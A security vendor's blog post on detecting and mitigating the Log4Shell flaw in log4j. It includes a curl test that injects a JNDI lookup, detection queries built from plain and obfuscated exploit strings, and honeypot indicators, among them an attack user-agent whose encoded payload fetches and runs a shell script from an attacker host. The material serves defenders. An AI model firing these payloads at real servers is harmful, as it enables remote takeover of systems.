[Editor’s note: This blog was originally posted on Dec. 11, 2021. We have updated it as the Log4Shell situation has evolved. The most recent update was posted on Dec. 21, 2021. The 色色研究所 Security Team will continue to provide updates as long as the issue persists.]
A critical vulnerability in the popular log4j library is currently being actively targeted on a broad global scale and possibly exploited based on advisories from multiple CERTs () and software owners (). This Java library is integrated into many open source and commercial IT and DevOps tooling and workflows, including IoT devices.
Apache version 2.17, fixing CVE-2021-44228 (dubbed Log4Shell) with a maximum CVSSv3 score of 10, which allows for unauthenticated Remote Code Execution. Successful exploitation is almost trivial and may allow a remote attacker to gain complete control of the target web server by simply changing the User-Agent of their client. Many web and app servers are by their nature exposed to the public web and have the required functionality enabled by default.
The virality, prevalence and ease of weaponizing this vulnerability turned it into a fast on ramp for cryptominers, ransomware and botnets. were also observed leveraging it. Read our previous post for more information on hunting associated web shells.
Who is affected?
Many cloud services such as Apple iCloud, Steam, Amazon, Cloudflare, Tesla, Twitter, and Baidu and many Java-based apps, such as and even the , are affected by this vulnerability. (A list of affected service screenshots is maintained ).
Countless applications rely on log4j dependency. Log4j v1 may have other RCE vulnerabilities and should be upgraded. The LDAP JNDI parser’s message lookup substitution is required for exploitation but this is enabled by default and consequently disabled in 2.15 and subsequent versions.
Other popular Apache software such as Struts (infamous for the Equifax compromise of 2017), as well as Tomcat, Solr, Druid, Flink, ElasticSearch, Flume, Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2.
Several patch attempts — 2.15.0-rc1, 2.15.0-rc2 — have been released, with the latest being 2.16. It could take a significant amount of time to trickle down to all software projects and services that depend on it — with much greater impact and long-tail repercussions than previous internet bug mini-pandemics, such as Heartbleed and Shellshock.
If you want to do a quick test to manually check your custom app for the presence of JNDI:LDAP functionality here is a simple request you can send using :
$ curl TEST_APP_IP:8080 -H ‘X-Api-Version: ${jndi:ldap://”DOMAIN”/test}’ DOMAIN in the URL should point to a controlled server to confirm that the affected system is doing the callback. |
Hunting with 色色研究所
Detection
We can attempt to detect three different artifacts related to vulnerable applications, exploitation attempts, and successful compromise.
Vulnerable versions of log4j and applications dependent on it
The first thing you can do is to use file hashes to detect installed versions or vuln mgt tool integrations . This is something you can do in parallel to the next attempts based on the data you have in 色色研究所.
Exploitation / attack attempts
Attempts targeting this vulnerability could be found in the following data sources. That does not mean we cannot use others but we recommend starting with these three principal places and then going deep into your data.
- domains.all
- web.all.access
- Cloud
- cloud.aws.cloudtrail
- cloud.azure
- cloud.gcp
- proxy.all.access
One way to detect possible attacks preliminarily is by looking for indicators of compromise in the entire message (raw column) received because the number of attack vectors for this vulnerability is high.
Using Free Query you can access a data table and build your query directly, without using the search window tools. Get all the details in 色色研究所 Documentation. |
Here we have some queries you can use in 色色研究所 based on your data sources for signs of threat actors that are targeting your systems. A big caveat here is that most of the internet is being scanned this week by both malicious actors and botnets looking to install cryptominers or ransomware payloads as well as legitimate blue-team vulnerability scanners looking to identify the issues in their infrastructure.
You can start querying domains.all union table because it contains data from different other union tables.
Data Source | Domains All. Union Table (Data from DNS, Proxy, Web, IDS, and many others) |
Affected Columns | raw |
Timing | Last 7d |
Query | |
from domains.all where raw -> “${jndi:ldap:/” or raw -> “${jndi:ldaps:/” or raw -> “${jndi:rmi:/” or raw -> “${jndi:dns:/” or raw -> “${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}:/” or raw -> “${${::-j}ndi:rmi:/” or raw -> “${${lower:jndi}:${lower:rmi}:/” or raw -> “${${lower:${lower:jndi}}:${lower:rmi}:/” or raw -> “${${lower:j}${lower:n}${lower:d}i:${lower:rmi}:” or raw -> “${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:/” |
Here are some queries to check on cloud data.
Data Source | Cloud AWS |
Affected Columns | raw |
Timing | Last 7d |
Query | |
from cloud.aws.cloudtrail where raw -> “${jndi:ldap:/” or raw -> “${jndi:ldaps:/” or raw -> “${jndi:rmi:/” or raw -> “${jndi:dns:/” or raw -> “${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}:/” or raw -> “${${::-j}ndi:rmi:/” or raw -> “${${lower:jndi}:${lower:rmi}:/” or raw -> “${${lower:${lower:jndi}}:${lower:rmi}:/” or raw -> “${${lower:j}${lower:n}${lower:d}i:${lower:rmi}:” or raw -> “${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:/” |
Data Source | Cloud Azure |
Affected Columns | raw |
Timing | Last 7d |
Query | |
from cloud.azure where raw -> “${jndi:ldap:/” or raw -> “${jndi:ldaps:/” or raw -> “${jndi:rmi:/” or raw -> “${jndi:dns:/” or raw -> “${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}:/” or raw -> “${${::-j}ndi:rmi:/” or raw -> “${${lower:jndi}:${lower:rmi}:/” or raw -> “${${lower:${lower:jndi}}:${lower:rmi}:/” or raw -> “${${lower:j}${lower:n}${lower:d}i:${lower:rmi}:” or raw -> “${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:/” |
Data Source | Cloud GCP |
Affected Columns | raw |
Timing | Last 7d |
Query | |
from cloud.gcp where raw -> “${jndi:ldap:/” or raw -> “${jndi:ldaps:/” or raw -> “${jndi:rmi:/” or raw -> “${jndi:dns:/” or raw -> “${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}:/” or raw -> “${${::-j}ndi:rmi:/” or raw -> “${${lower:jndi}:${lower:rmi}:/” or raw -> “${${lower:${lower:jndi}}:${lower:rmi}:/” or raw -> “${${lower:j}${lower:n}${lower:d}i:${lower:rmi}:” or raw -> “${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:/” |
And finally, you can check web and proxy union tables.
Data Source | Web |
Affected Columns | raw |
Timing | Last 7d |
Query | |
from web.all.access where raw -> “${jndi:ldap:/” or raw -> “${jndi:ldaps:/” or raw -> “${jndi:rmi:/” or raw -> “${jndi:dns:/” or raw -> “${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}:/” or raw -> “${${::-j}ndi:rmi:/” or raw -> “${${lower:jndi}:${lower:rmi}:/” or raw -> “${${lower:${lower:jndi}}:${lower:rmi}:/” or raw -> “${${lower:j}${lower:n}${lower:d}i:${lower:rmi}:” or raw -> “${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:/” |
Data Source | Proxy |
Affected Columns | raw |
Timing | Last 7d |
Query | |
from proxy.all.access where raw -> “${jndi:ldap:/” or raw -> “${jndi:ldaps:/” or raw -> “${jndi:rmi:/” or raw -> “${jndi:dns:/” or raw -> “${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}:/” or raw -> “${${::-j}ndi:rmi:/” or raw -> “${${lower:jndi}:${lower:rmi}:/” or raw -> “${${lower:${lower:jndi}}:${lower:rmi}:/” or raw -> “${${lower:j}${lower:n}${lower:d}i:${lower:rmi}:” or raw -> “${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:/” |
Successful compromise
Is likely to follow with an LDAP or RMI network session callback or a reverse shell from the compromised server to the attacker’s host. If systems are compromised it’s time to detect using network data sources. The next section shows you how to be able to use the indicators on 色色研究所.
Indicators
色色研究所 provides the ability to create lookups that can be used in queries.
The next image shows how the lookup creation screen looks in this case.
Following are indicators observed by honeypots.
indicator_type | value |
ip-src | 185.220.101.129 |
ip-src | 45.155.205.233 |
ip-src | 171.25.193.78 |
ip-src | 209.141.41.183 |
ip-src | 185.220.101.159 |
ip-src | 171.25.193.77 |
ip-src | 185.220.100.241 |
ip-src | 159.203.173.102 |
uri | ldap://45.155.205.233:12344 |
uri | ldap://45.155.205.233:12344 |
uri | ldap://8ceb726f0b75.bingsearchlib.com:39356/a |
uri | ldap://b3d3011d2ea3.bingsearchlib.com:39356/a |
uri | ldap://1f3e7d995ead.bingsearchlib.com:39356/a |
uri | ldap://3a617ed9c404.bingsearchlib.com:39356/a |
uri | ldap://be5adf48f04f.bingsearchlib.com:39356/a |
uri | ldap://be5adf48f04f.bingsearchlib.com:39356/a |
user-agent | ${jndi:ldap://45.155.205.233:5874/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC85My4xODQuMjE2LjM0OjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzkzLjE4NC4yMTYuMzQ6ODApfGJhc2g=} |
user-agent | ${jndi:ldap://8ceb726f0b75.bingsearchlib.com:39356/a} |
user-agent | ${jndi:ldap://b3d3011d2ea3.bingsearchlib.com:39356/a} |
user-agent | ${jndi:ldap://1f3e7d995ead.bingsearchlib.com:39356/a} |
user-agent | ${jndi:ldap://3a617ed9c404.bingsearchlib.com:39356/a} |
user-agent | ${jndi:ldap://be5adf48f04f.bingsearchlib.com:39356/a} |
user-agent | ${jndi:ldap://be5adf48f04f.bingsearchlib.com:39356/a} |
These are known exploit strings.
${jndi:ldap:/ |
${jndi:ldaps:/ |
${jndi:rmi:/ |
${jndi:dns:/ |
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc} |
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass} |
${jndi:rmi://adsasd.asdasd.asdasd} |
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc} |
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc} |
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc} |
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc} |
Once you have the lookup available in your domain, it’s time to use it.
Data Source | Firewall |
Affected Columns | srcIp, dstIp |
Query | |
from firewall.all.traffic
where isnotnull(`lu/log4shell/indicator_type`(str(srcIp))) or isnotnull(`lu/log4shell/indicator_type`(str(dstIp))) |
Mitigation
Upgrade apps that rely on log4j:
- If possible, upgrade log4j to latest or (set the property log4j2.formatMsgNoLookups=true or remove the JndiLookup class from the classpath)
- Use a WAF filtering or blocking inbound HTTP requests with ${jndi: Lookups relating to log4j Headers, Body, and URLs
- Pay attention to emerging security advisories for your 3rd-party software and vendor products that mention log4j and always maintain an updated software bill of materials (SBOM).
References